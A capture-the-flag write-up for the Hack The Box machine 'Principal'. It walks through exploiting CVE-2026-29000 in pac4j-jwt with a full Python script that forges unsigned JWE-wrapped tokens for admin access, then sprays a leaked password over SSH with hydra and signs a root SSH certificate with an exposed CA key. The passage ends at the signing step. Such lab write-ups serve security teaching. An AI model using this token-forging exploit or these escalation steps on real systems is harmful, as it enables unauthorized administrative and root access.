HTB: Principal
Principal is a Linux box with a Java web application using pac4j for JWT authentication. I’ll exploit a vulnerability in pac4j-jwt that allows forging encrypted JWTs using only the server’s public RSA key, bypassing signature verification to access the admin dashboard. From there, I’ll find credentials in the settings and spray them against SSH to get a shell as svc-deploy. For root, I’ll abuse access to an SSH certificate authority private key to sign a certificate for the root principal and SSH in.
Box Info
Recon
Initial Scanning
nmap finds two open TCP ports, SSH (22) and HTTP (8080):
oxdf@hacky$ sudo nmap -p- -vvv --min-rate 10000 10.129.11.207
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-20 19:03 UTC
...[snip]...
Nmap scan report for 10.129.11.207
Host is up, received echo-reply ttl 63 (0.023s latency).
Scanned at 2026-03-20 19:03:58 UTC for 6s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
8080/tcp open http-proxy syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 6.71 seconds
Raw packets sent: 65621 (2.887MB) | Rcvd: 65536 (2.621MB)
oxdf@hacky$ sudo nmap -sCV -p 22,8080 10.129.11.207
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-20 19:04 UTC
Nmap scan report for 10.129.11.207
Host is up (0.022s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b0:a0:ca:46:bc:c2:cd:7e:10:05:05:2a:b8:c9:48:91 (ECDSA)
|_ 256 e8:a4:9d:bf:c1:b6:2a:37:93:40:d0:78:00:f5:5f:d9 (ED25519)
8080/tcp open http-proxy Jetty
|_http-open-proxy: Proxy might be redirecting requests
| http-title: Principal Internal Platform - Login
|_Requested resource was /login
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| Date: Fri, 20 Mar 2026 19:03:49 GMT
| Server: Jetty
| X-Powered-By: pac4j-jwt/6.0.3
| Cache-Control: must-revalidate,no-cache,no-store
| Content-Type: application/json
| {"timestamp":"2026-03-20T19:03:49.178+00:00","status":404,"error":"Not Found","path":"/nice%20ports%2C/Tri%6Eity.txt%2ebak"}
| GetRequest:
| HTTP/1.1 302 Found
| Date: Fri, 20 Mar 2026 19:03:48 GMT
| Server: Jetty
| X-Powered-By: pac4j-jwt/6.0.3
| Content-Language: en
| Location: /login
| Content-Length: 0
| HTTPOptions:
| HTTP/1.1 200 OK
| Date: Fri, 20 Mar 2026 19:03:48 GMT
| Server: Jetty
| X-Powered-By: pac4j-jwt/6.0.3
| Allow: GET,HEAD,OPTIONS
| Accept-Patch:
| Content-Length: 0
| RTSPRequest:
| HTTP/1.1 505 HTTP Version Not Supported
| Date: Fri, 20 Mar 2026 19:03:49 GMT
| Cache-Control: must-revalidate,no-cache,no-store
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 349
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1"/>
| <title>Error 505 Unknown Version</title>
| </head>
| <body>
| <h2>HTTP ERROR 505 Unknown Version</h2>
| <table>
| <tr><th>URI:</th><td>/badMessage</td></tr>
| <tr><th>STATUS:</th><td>505</td></tr>
| <tr><th>MESSAGE:</th><td>Unknown Version</td></tr>
| </table>
| </body>
| </html>
| Socks5:
| HTTP/1.1 400 Bad Request
| Date: Fri, 20 Mar 2026 19:03:49 GMT
| Cache-Control: must-revalidate,no-cache,no-store
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 382
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1"/>
| <title>Error 400 Illegal character CNTL=0x5</title>
| </head>
| <body>
| <h2>HTTP ERROR 400 Illegal character CNTL=0x5</h2>
| <table>
| <tr><th>URI:</th><td>/badMessage</td></tr>
| <tr><th>STATUS:</th><td>400</td></tr>
| <tr><th>MESSAGE:</th><td>Illegal character CNTL=0x5</td></tr>
| </table>
| </body>
|_ </html>
|_http-server-header: Jetty
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.94SVN%I=7%D=3/20%Time=69BD9A4C%P=x86_64-pc-linux-gnu%r
SF:(GetRequest,A4,"HTTP/1\.1\x20302\x20Found\r\nDate:\x20Fri,\x2020\x20Mar
SF:\x202026\x2019:03:48\x20GMT\r\nServer:\x20Jetty\r\nX-Powered-By:\x20pac
SF:4j-jwt/6\.0\.3\r\nContent-Language:\x20en\r\nLocation:\x20/login\r\nCon
SF:tent-Length:\x200\r\n\r\n")%r(HTTPOptions,A2,"HTTP/1\.1\x20200\x20OK\r\
SF:nDate:\x20Fri,\x2020\x20Mar\x202026\x2019:03:48\x20GMT\r\nServer:\x20Je
SF:tty\r\nX-Powered-By:\x20pac4j-jwt/6\.0\.3\r\nAllow:\x20GET,HEAD,OPTIONS
SF:\r\nAccept-Patch:\x20\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,2
SF:20,"HTTP/1\.1\x20505\x20HTTP\x20Version\x20Not\x20Supported\r\nDate:\x2
SF:0Fri,\x2020\x20Mar\x202026\x2019:03:49\x20GMT\r\nCache-Control:\x20must
SF:-revalidate,no-cache,no-store\r\nContent-Type:\x20text/html;charset=iso
SF:-8859-1\r\nContent-Length:\x20349\r\n\r\n<html>\n<head>\n<meta\x20http-
SF:equiv=\"Content-Type\"\x20content=\"text/html;charset=ISO-8859-1\"/>\n<
SF:title>Error\x20505\x20Unknown\x20Version</title>\n</head>\n<body>\n<h2>
SF:HTTP\x20ERROR\x20505\x20Unknown\x20Version</h2>\n<table>\n<tr><th>URI:<
SF:/th><td>/badMessage</td></tr>\n<tr><th>STATUS:</th><td>505</td></tr>\n<
SF:tr><th>MESSAGE:</th><td>Unknown\x20Version</td></tr>\n</table>\n\n</bod
SF:y>\n</html>\n")%r(FourOhFourRequest,13B,"HTTP/1\.1\x20404\x20Not\x20Fou
SF:nd\r\nDate:\x20Fri,\x2020\x20Mar\x202026\x2019:03:49\x20GMT\r\nServer:\
SF:x20Jetty\r\nX-Powered-By:\x20pac4j-jwt/6\.0\.3\r\nCache-Control:\x20mus
SF:t-revalidate,no-cache,no-store\r\nContent-Type:\x20application/json\r\n
SF:\r\n{\"timestamp\":\"2026-03-20T19:03:49\.178\+00:00\",\"status\":404,\
SF:"error\":\"Not\x20Found\",\"path\":\"/nice%20ports%2C/Tri%6Eity\.txt%2e
SF:bak\"}")%r(Socks5,232,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nDate:\x20F
SF:ri,\x2020\x20Mar\x202026\x2019:03:49\x20GMT\r\nCache-Control:\x20must-r
SF:evalidate,no-cache,no-store\r\nContent-Type:\x20text/html;charset=iso-8
SF:859-1\r\nContent-Length:\x20382\r\n\r\n<html>\n<head>\n<meta\x20http-eq
SF:uiv=\"Content-Type\"\x20content=\"text/html;charset=ISO-8859-1\"/>\n<ti
SF:tle>Error\x20400\x20Illegal\x20character\x20CNTL=0x5</title>\n</head>\n
SF:<body>\n<h2>HTTP\x20ERROR\x20400\x20Illegal\x20character\x20CNTL=0x5</h
SF:2>\n<table>\n<tr><th>URI:</th><td>/badMessage</td></tr>\n<tr><th>STATUS
SF::</th><td>400</td></tr>\n<tr><th>MESSAGE:</th><td>Illegal\x20character\
SF:x20CNTL=0x5</td></tr>\n</table>\n\n</body>\n</html>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.04 seconds
Based on the OpenSSH version, the host is likely running Ubuntu 24.04 noble LTS. There’s also a Jetty-based (Java) webserver on TCP 8080.
Both of the ports show a TTL of 63, which matches the expected TTL for Linux one hop away.
Website - TCP 8080
Site
Visiting / redirects to /login, which presents a login page to some kind of dashboard:
Trying to guess at a password returns a generic failure message:
Tech Stack
The page says that it’s powered by pac4j, a Java security framework. It handles authentication and authorization across protocols such as OAuth, SAML, and JWT.
The HTTP response headers show Jetty, a Java web server, as well as pac4j-jwt with a version 6.0.3:
HTTP/1.1 200 OK
Date: Sat, 21 Mar 2026 14:56:15 GMT
Server: Jetty
X-Powered-By: pac4j-jwt/6.0.3
Content-Language: en-US
Content-Type: text/html;charset=utf-8
Content-Length: 6152
The 404 page is the default Springboot 404:
Taking a look at the page source, it loads static/js/app.js, which handles the auth. At the top, it defines the JWT structure in comments and some endpoints:
/**
* Principal Internal Platform - Client Application
* Version: 1.2.0
*
* Authentication flow:
* 1. User submits credentials to /api/auth/login
* 2. Server returns encrypted JWT (JWE) token
* 3. Token is stored and sent as Bearer token for subsequent requests
*
* Token handling:
* - Tokens are JWE-encrypted using RSA-OAEP-256 + A128GCM
* - Public key available at /api/auth/jwks for token verification
* - Inner JWT is signed with RS256
*
* JWT claims schema:
* sub - username
* role - one of: ROLE_ADMIN, ROLE_MANAGER, ROLE_USER
* iss - "principal-platform"
* iat - issued at (epoch)
* exp - expiration (epoch)
*/
const API_BASE = '';
const JWKS_ENDPOINT = '/api/auth/jwks';
const AUTH_ENDPOINT = '/api/auth/login';
const DASHBOARD_ENDPOINT = '/api/dashboard';
const USERS_ENDPOINT = '/api/users';
const SETTINGS_ENDPOINT = '/api/settings';
/api/auth/jwks has the public key for a JWT that uses asymmetric encryption:
oxdf@hacky$ curl http://10.129.11.207:8080/api/auth/jwks -s | jq .
{
"keys": [
{
"kty": "RSA",
"e": "AQAB",
"kid": "enc-key-1",
"n": "lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-WtBsdWtJRaeeG61iNgYsFUXE9j2MAqmekpnyapD6A9dfSANhSgCF60uAZhnpIkFQVKEZday6ZIxoHpuP9zh2c3a7JrknrTbCPKzX39T6IK8pydccUvRl9zT4E_i6gtoVCUKixFVHnCvBpWJtmn4h3PCPCIOXtbZHAP3Nw7ncbXXNsrO3zmWXl-GQPuXu5-Uoi6mBQbmm0Z0SC07MCEZdFwoqQFC1E6OMN2G-KRwmuf661-uP9kPSXW8l4FutRpk6-LZW5C7gwihAiWyhZLQpjReRuhnUvLbG7I_m2PV0bWWy-Fw"
}
]
}
n and e are the two variables that typically make up a public key in RSA cryptography.
Directory Brute Force
I’ll run feroxbuster against the site:
oxdf@hacky$ feroxbuster -u http://10.129.11.207:8080
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.129.11.207:8080
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 1l 2w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302 GET 0l 0w 0c http://10.129.11.207:8080/ => http://10.129.11.207:8080/login
500 GET 1l 1w 73c http://10.129.11.207:8080/error
501 GET 1l 10w 110c http://10.129.11.207:8080/reset-password
200 GET 707l 1287w 12691c http://10.129.11.207:8080/static/css/style.css
200 GET 4l 22w 272c http://10.129.11.207:8080/static/img/favicon.svg
200 GET 308l 939w 10949c http://10.129.11.207:8080/static/js/app.js
200 GET 112l 373w 6152c http://10.129.11.207:8080/login
500 GET 0l 0w 0c http://10.129.11.207:8080/WEB-INF
200 GET 94l 214w 3930c http://10.129.11.207:8080/dashboard
500 GET 0l 0w 0c http://10.129.11.207:8080/META-INF
500 GET 0l 0w 0c http://10.129.11.207:8080/web-inf
400 GET 15l 27w 375c http://10.129.11.207:8080/error%1F_log
[####################] - 89s 30008/30008 0s found:12 errors:0
[####################] - 88s 30000/30000 339/s http://10.129.11.207:8080/
I’ll also brute with a Spring-Boot-specific wordlist, but it doesn’t find anything interesting:
oxdf@hacky$ feroxbuster -u http://10.129.11.207:8080 -w /opt/SecLists/Discovery/Web-Content/spring-boot.txt
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.129.11.207:8080
🚀 Threads │ 50
📖 Wordlist │ /opt/SecLists/Discovery/Web-Content/spring-boot.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 1l 2w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302 GET 0l 0w 0c http://10.129.11.207:8080/ => http://10.129.11.207:8080/login
[####################] - 4s 113/113 0s found:1 errors:0
[####################] - 3s 113/113 33/s http://10.129.11.207:8080/
Shell as svc-deploy
Dashboard Access
CVE-2026-29000 Background
Searching for “pac4j 6.0.3 cve” returns a bunch of references to CVE-2026-29000:
CVE-2026-29000 was a relatively big deal in the infosec news, and the inspiration for this box. NIST describes CVE-2026-29000 as:
pac4j-jwt versions prior to 4.5.9, 5.7.9, and 6.3.3 contain an authentication bypass vulnerability in JwtAuthenticator when processing encrypted JWTs that allows remote attackers to forge authentication tokens. Attackers who possess the server’s RSA public key can create a JWE-wrapped PlainJWT with arbitrary subject and role claims, bypassing signature verification to authenticate as any user including administrators.
Basically, if I can access the public key for the JWT, I can become any user. The vulnerability was initially discovered and disclosed by researchers at CodeAnt AI, who wrote this blog post going into all the details. JWTs can be encrypted using a server’s public key so that the contents are not readable in transit. The researchers found that if the inner JWT signature is not present and the outer encryption is, a logic bug in the code would bypass the inner token validation and just handle it as valid.
The issue is in this code from pac4j (comments added by the Codeant AI blog):
// Step 1: Decrypt the JWE
for (EncryptionConfiguration config : encryptionConfigurations) {
try {
encryptedJWT.decrypt(config);
// Step 2: Try to extract the inner signed JWT
signedJWT = encryptedJWT.getPayload().toSignedJWT();
if (signedJWT != null) {
jwt = signedJWT;
}
found = true;
break;
} catch (JOSEException e) { ... }
}
// Step 3: Verify signature - BUT ONLY IF signedJWT IS NOT NULL
if (signedJWT != null) {
for (SignatureConfiguration config : signatureConfigurations) {
if (config.supports(signedJWT)) {
verify = config.verify(signedJWT);
// ...
}
}
}
When the JWT without any signature is passed to toSignedJWT(), it returns null. Then in what is labeled as Step 3 where the verification happens, if signedJWT is null, that’s just skipped.
Craft Token
The CodeAnt AI post suggests looking for the JWKS information at /.well-known/jwks.json, but I already found it above at /api/auth/jwks. I’ll use Python to create a token encrypted with this public key and with no auth on the inner JWT.
The JWT libraries will fail trying to create a JWT with no algorithm, so I’ll have to create it manually. I’ll create a function to do this:
def create_jwt(sub, role):
# * sub - username
# * role - one of: ROLE_ADMIN, ROLE_MANAGER, ROLE_USER
# * iss - "principal-platform"
# * iat - issued at (epoch)
# * exp - expiration (epoch)
if role not in ["ROLE_ADMIN", "ROLE_MANAGER", "ROLE_USER"]:
raise ValueError("Invalid Role")
now = datetime.now(timezone.utc)
claims = {
"sub": sub,
"role": role,
"iss": "principal-platform",
"iat": int(now.timestamp()),
"exp": int((now + timedelta(hours=24)).timestamp()),
}
header = {"alg": "none"}
def base64_url(data: bytes) -> str:
return base64.urlsafe_b64encode(data).decode().rstrip("=")
header_b64 = base64_url(json.dumps(header, separators=(",", ":")).encode())
payload_b64 = base64_url(json.dumps(claims, separators=(",", ":")).encode())
jwt = f"{header_b64}.{payload_b64}."
print(f'[+] Created plain JWT for {role}: {sub}')
return jwt
A JWT typically consists of three parts, each base64-encoded, and joined by “.”. The script above generates the header and claims (or payload), but leaves the signature empty.
I’ll start the script by parsing the input and fetching the jwks and getting an RSA public key:
if len(sys.argv) < 2:
print(f'usage: {sys.argv[0]} <host> [port]')
print('port defaults to 8080')
sys.exit()
host = sys.argv[1]
port = sys.argv[2] if len(sys.argv) > 2 else 8080
resp = requests.get(f'http://{host}:{port}/api/auth/jwks')
jwks = resp.json()
if len(jwks.get("keys", [])) > 0:
print(f'[+] Fetched {len(jwks["keys"])} public key(s)')
else:
print(f'[-] Failed to fetch public keys')
sys.exit()
rsa_key = jwk.JWK(**[k for k in jwks["keys"] if k["kty"] == "RSA"][0])
print(f"[+] Got RSA key: kid={rsa_key.get('kid', 'n/a')}")
Now I’ll forge the JWT and encrypt it:
jwt = create_jwt(sub = '0xdf', role = 'ROLE_ADMIN')
token = jwe.JWE(
plaintext=jwt.encode(),
protected=json.dumps({"alg": "RSA-OAEP-256", "enc": "A256GCM"}),
recipient=rsa_key,
)
forged = token.serialize(compact=True)
print("[+] Forged JWE token:")
print(forged)
The role is in the JavaScript comments. I’m just guessing at the username, but in fact it doesn’t matter (only the role matters for getting access). All in all, the final script looks like:
# /// script
# requires-python = ">=3.13"
# dependencies = [
# "jwcrypto",
# "requests",
# ]
# ///
import base64
import json
import sys
import requests
from jwcrypto import jwk, jwe
from datetime import datetime, timezone, timedelta
def create_jwt(sub, role):
# * sub - username
# * role - one of: ROLE_ADMIN, ROLE_MANAGER, ROLE_USER
# * iss - "principal-platform"
# * iat - issued at (epoch)
# * exp - expiration (epoch)
if role not in ["ROLE_ADMIN", "ROLE_MANAGER", "ROLE_USER"]:
raise ValueError("Invalid Role")
now = datetime.now(timezone.utc)
claims = {
"sub": sub,
"role": role,
"iss": "principal-platform",
"iat": int(now.timestamp()),
"exp": int((now + timedelta(hours=24)).timestamp()),
}
header = {"alg": "none"}
def base64_url(data: bytes) -> str:
return base64.urlsafe_b64encode(data).decode().rstrip("=")
header_b64 = base64_url(json.dumps(header, separators=(",", ":")).encode())
payload_b64 = base64_url(json.dumps(claims, separators=(",", ":")).encode())
jwt = f"{header_b64}.{payload_b64}."
print(f'[+] Created plain JWT for {role}: {sub}')
return jwt
if len(sys.argv) < 2:
print(f'usage: {sys.argv[0]} <host> [port]')
print('port defaults to 8080')
sys.exit()
host = sys.argv[1]
port = sys.argv[2] if len(sys.argv) > 2 else 8080
resp = requests.get(f'http://{host}:{port}/api/auth/jwks')
jwks = resp.json()
if len(jwks.get("keys", [])) > 0:
print(f'[+] Fetched {len(jwks["keys"])} public key(s)')
else:
print(f'[-] Failed to fetch public keys')
sys.exit()
rsa_key = jwk.JWK(**[k for k in jwks["keys"] if k["kty"] == "RSA"][0])
print(f"[+] Got RSA key: kid={rsa_key.get('kid', 'n/a')}")
jwt = create_jwt(sub = '0xdf', role = 'ROLE_ADMIN')
token = jwe.JWE(
plaintext=jwt.encode(),
protected=json.dumps({"alg": "RSA-OAEP-256", "enc": "A256GCM"}),
recipient=rsa_key,
)
forged = token.serialize(compact=True)
print("[+] Forged JWE token:")
print(forged)
Running it generates a token:
oxdf@hacky$ uv run cve-2026-29000.py 10.129.11.207
[+] Fetched 1 public key(s)
[+] Got RSA key: kid=enc-key-1
[+] Created plain JWT for ROLE_ADMIN: 0xdf
[+] Forged JWE token:
eyJhbGciOiAiUlNBLU9BRVAtMjU2IiwgImVuYyI6ICJBMjU2R0NNIn0.d8j5jDP9cxzgjtPo8VGJxciYp8QqrXX2lUFjG241OUTKq4tUHF2F3zDMqipftoccgekpe_AfBcoerJ6lEzgUs5GyXBt6k4SSu79gg6EbdXjZq6sfOOAQEQdtpRaBtAM3zF1PqV5HXIH8JFt3VPo-mQI00aV0EmKJSeLrnFxaz0IRiPJYI6Mdn7MhkQ1h5RLwl1cNRBTDyF9Xff7RwgtzTGpFnzLWVSnHsuidPJ0ejgbfzJDxk1FOGpIVDGk0dTjI9xByEFdtzcQ0GJLFTxVHtXedPVh9Ku5Qyh7WdnrDxf3jEFUDduOtM6_8OBmjZoKJ_R0IJSaWZ3L6sbpuFVsGNQ.4d4S8iVzuDXYqOcH.Oo0Am78IY8QEOIIM1WJUcne3xL1-2L0kEn2KjXmoAk9h_xaHW7v-fodJMSeN9D1g1Cqo6xTlHtT_ZMn4cMVmUtCzr25khtwwqDIGpIzK3dNJxI8AzV13Js_LTgp45XvG3Be6tmex19Lj2jZUYKVe5qg-EovuST9RCc2LH2zczKsnPrcv9-DcC5H8QaVfoKqlWc_nZg.iNxN8lrcq88okAwypyvXQA
Access Dashboard
The app.js file defines a class named TokenManager:
class TokenManager {
static getToken() {
return sessionStorage.getItem('auth_token');
}
static setToken(token) {
sessionStorage.setItem('auth_token', token);
}
static clearToken() {
sessionStorage.removeItem('auth_token');
}
static isAuthenticated() {
return !!this.getToken();
}
static getAuthHeaders() {
const token = this.getToken();
return token ? { 'Authorization': `Bearer ${token}` } : {};
}
}
It shows that the JWT is stored in session storage under the name auth_token. I’ll save my generated token using the browser dev tools console:
sessionStorage.setItem('auth_token', 'eyJhbGciOiAiUlNBLU9BRVAtMjU2IiwgImVuYyI6ICJBMjU2R0NNIn0.d8j5jDP9cxzgjtPo8VGJxciYp8QqrXX2lUFjG241OUTKq4tUHF2F3zDMqipftoccgekpe_AfBcoerJ6lEzgUs5GyXBt6k4SSu79gg6EbdXjZq6sfOOAQEQdtpRaBtAM3zF1PqV5HXIH8JFt3VPo-mQI00aV0EmKJSeLrnFxaz0IRiPJYI6Mdn7MhkQ1h5RLwl1cNRBTDyF9Xff7RwgtzTGpFnzLWVSnHsuidPJ0ejgbfzJDxk1FOGpIVDGk0dTjI9xByEFdtzcQ0GJLFTxVHtXedPVh9Ku5Qyh7WdnrDxf3jEFUDduOtM6_8OBmjZoKJ_R0IJSaWZ3L6sbpuFVsGNQ.4d4S8iVzuDXYqOcH.Oo0Am78IY8QEOIIM1WJUcne3xL1-2L0kEn2KjXmoAk9h_xaHW7v-fodJMSeN9D1g1Cqo6xTlHtT_ZMn4cMVmUtCzr25khtwwqDIGpIzK3dNJxI8AzV13Js_LTgp45XvG3Be6tmex19Lj2jZUYKVe5qg-EovuST9RCc2LH2zczKsnPrcv9-DcC5H8QaVfoKqlWc_nZg.iNxN8lrcq88okAwypyvXQA')
When I load /, there’s a dashboard:
SSH
Dashboard Enumeration
There are a couple useful pieces of information I can gather from the dashboard. On the “Users” view, there’s a list of users:
On the “Settings” page, there’s an “encryptionKey”:
That looks like a password, as it’s a human-readable string with special characters rather than a typical base64-encoded or hex encryption key.
There’s also a reference to a path I’ll use for privesc:
It suggests looking at /opt/principal/ssh and that certificate auth is enabled.
Password Spray
I’ll save the usernames from the dashboard into users.txt and spray the encryptionKey as a password against SSH. netexec can do this spray, but it runs serially, waiting for each attempt to timeout before doing the next, so hydra is a better tool here:
oxdf@hacky$ hydra -L users.txt -p 'D3pl0y_$$H_Now42!' ssh://10.129.11.207
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-03-22 17:30:32
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 8 tasks per 1 server, overall 8 tasks, 8 login tries (l:8/p:1), ~1 try per task
[DATA] attacking ssh://10.129.11.207:22/
[22][ssh] host: 10.129.11.207 login: svc-deploy password: D3pl0y_$$H_Now42!
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-03-22 17:30:36
It finds a match using the encryptionKey for the svc-deploy account.
Shell
I’ll use the creds to get a shell using SSH:
oxdf@hacky$ sshpass -p 'D3pl0y_$$H_Now42!' ssh svc-deploy@10.129.11.207
Warning: Permanently added '10.129.11.207' (ED25519) to the list of known hosts.
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-101-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
svc-deploy@principal:~$
And grab the user flag:
svc-deploy@principal:~$ cat user.txt
dbdf7a77************************
Shell as root
Enumeration
Users
Other than user.txt, the svc-deploy user’s home directory is pretty empty:
svc-deploy@principal:~$ find . -type f
./.profile
./user.txt
./.ssh/known_hosts
./.ssh/known_hosts.old
./.bash_logout
./.cache/motd.legal-displayed
./.bashrc
./.bash_history
This user cannot run sudo:
svc-deploy@principal:~$ sudo -l
[sudo] password for svc-deploy:
Sorry, user svc-deploy may not run sudo on principal.
They are in an additional group, deployers:
svc-deploy@principal:~$ id
uid=1001(svc-deploy) gid=1002(svc-deploy) groups=1002(svc-deploy),1001(deployers)
There’s no other user with a home directory in /home:
svc-deploy@principal:/home$ ls
svc-deploy
This is in line with the users with shells configured in passwd:
svc-deploy@principal:~$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
svc-deploy:x:1001:1002::/home/svc-deploy:/bin/bash
Filesystem
There’s nothing interesting in the filesystem root:
svc-deploy@principal:/$ ls
bin cdrom etc lib lost+found mnt proc run srv tmp var
boot dev home lib64 media opt root sbin sys usr
/opt has containerd (which runs Docker), as well as principal:
svc-deploy@principal:/opt/principal$ ls -l
total 12
drwxr-xr-x 5 app app 4096 Mar 11 04:22 app
drwxr-x--- 2 root root 4096 Mar 11 04:22 deploy
drwxr-x--- 2 root deployers 4096 Mar 11 04:22 ssh
The ssh directory is owned by the deployers group.
The app directory has the source for the Java web application I exploited to get a foothold.
The deploy directory is limited to only root access.
SSH
The ssh directory shows three files:
svc-deploy@principal:/opt/principal/ssh$ ls
README.txt ca ca.pub
README.txt talks about the other files:
CA keypair for SSH certificate automation.
This CA is trusted by sshd for certificate-based authentication.
Use deploy.sh to issue short-lived certificates for service accounts.
Key details:
Algorithm: RSA 4096-bit
Created: 2025-11-15
Purpose: Automated deployment authentication
HTB Resource was a box I made that centered around SSH certificate authentication, and I go into detail on how it works in that post.
The other two files are a private and public certificate key pair.
The sshd configuration isn’t super interesting:
svc-deploy@principal:/$ cat /etc/ssh/sshd_config | grep -v '#' | grep .
Include /etc/ssh/sshd_config.d/*.conf
KbdInteractiveAuthentication no
UsePAM yes
X11Forwarding yes
PrintMotd no
AcceptEnv LANG LC_*
Subsystem sftp /usr/lib/openssh/sftp-server
There’s a file in sshd_config.d that has more:
svc-deploy@principal:/opt/principal/ssh$ cat /etc/ssh/sshd_config.d/60-principal.conf
# Principal machine SSH configuration
PubkeyAuthentication yes
PasswordAuthentication yes
PermitRootLogin prohibit-password
TrustedUserCAKeys /opt/principal/ssh/ca.pub
SSH
Typically with the TrustedUserCAKeys configured, there’s a AuthorizedPrincipalsFile or AuthorizedPrincipalsCommand set as well to define how users match to principals. When none are given, then certificate principals are mapped directly to user names.
That means that if I create a certificate signed with the CA private key that I have access to for the root principal, it will work as the root user. PermitRootLogin is set to prohibit-password, which blocks password auth but still allows public key and certificate authentication, so this will work.
I can use an existing key, or create one:
oxdf@hacky$ ssh-keygen -t ed25519 -f root-ssh
Generating public/private ed25519 key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in root-ssh
Your public key has been saved in root-ssh.pub
The key fingerprint is:
SHA256:Kp/iLHPVE1S0193mZamPp2Mrb2UKhE3UQYQb2o4J92M oxdf@hacky
The key's randomart image is:
+--[ED25519 256]--+
| o+.=+. |
| . = o .o|
| . B + ..*|
| ..+ * .+.|
| .S.* . .|
| ..oo E oo |
| ... .. o.+o |
| o.oo . . =o |
| =o.o =+o |
+----[SHA256]-----+
Now I’ll sign it with the CA key using ssh-keygen -s (sign), -I 0xdf (an arbitrary identity label), and -n root (the principal name, which maps directly to the root username since there’s no AuthorizedPrincipalsFile):
oxdf@hacky$ ssh-keygen -s ca -I 0xdf -n root root-ssh
Signed user key root-ssh-cert.pub: id "0xdf" serial 0 for root valid forever
oxdf@hacky$ cat root-ssh-cert.pub
